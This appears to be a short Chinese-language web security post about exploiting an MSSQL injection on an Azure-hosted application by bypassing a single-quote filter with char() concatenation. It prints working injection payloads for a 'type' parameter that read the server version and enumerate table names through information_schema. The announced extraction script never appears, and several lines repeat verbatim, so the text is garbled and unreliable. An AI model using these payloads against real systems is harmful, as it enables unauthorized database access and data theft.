最近项目发现一次mssql注入,sqlmap可以正常获取数据库但是不能获取表名和列名
测试发现是过滤了单引号。通过char(xx)+char(xx) 绕过单引号。是azure上的 没有这个表Master..SysDatabases
payload 如下 type=(SELECT (CASE WHEN (6778=6778) THEN (Select @@version) ELSE CHAR(48) END))
返回结果,
获取表名原理(CASE WHEN (6778=6778) THEN (SELECT TOP 1 table_name FROM information_schema.tables where table_name != char(117) ) ELSE CHAR(48) END)
写个批量获取脚本 代码如下<
测试发现是过滤了单引号。通过char(xx)+char(xx) 绕过单引号。是azure上的 没有这个表Master..SysDatabases
payload 如下 type=(SELECT (CASE WHEN (6778=6778) THEN (Select @@version) ELSE CHAR(48) END))
返回结果,
获取表名原理(CASE WHEN (6778=6778) THEN (SELECT TOP 1 table_name FROM information_schema.tables where table_name != char(117) ) ELSE CHAR(48) END)
写个批量获取脚本 代码如下<
web security




